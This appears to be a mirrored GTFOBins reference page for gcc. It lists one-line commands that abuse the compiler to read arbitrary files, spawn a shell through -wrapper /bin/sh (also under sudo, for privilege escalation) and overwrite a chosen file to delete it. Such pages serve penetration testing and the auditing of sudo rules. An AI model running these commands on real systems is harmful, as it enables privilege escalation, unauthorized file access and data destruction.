1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/gcc.md
LinuxSploit 51e8892fec Update gcc.md
delete a file with gcc
2021-04-06 09:45:44 +02:00

348 B

functions
file-read shell sudo file-delete
code
LFILE=file_to_read gcc -x c -E "$LFILE"
code
gcc -wrapper /bin/sh,-s .
code
sudo gcc -wrapper /bin/sh,-s .
code
echo "int main(){printf(" Hello ");return 0;}" > /tmp/oye.c ; gcc -nostdlib /tmp/oye.c -o [FILE-TO-DELETE] .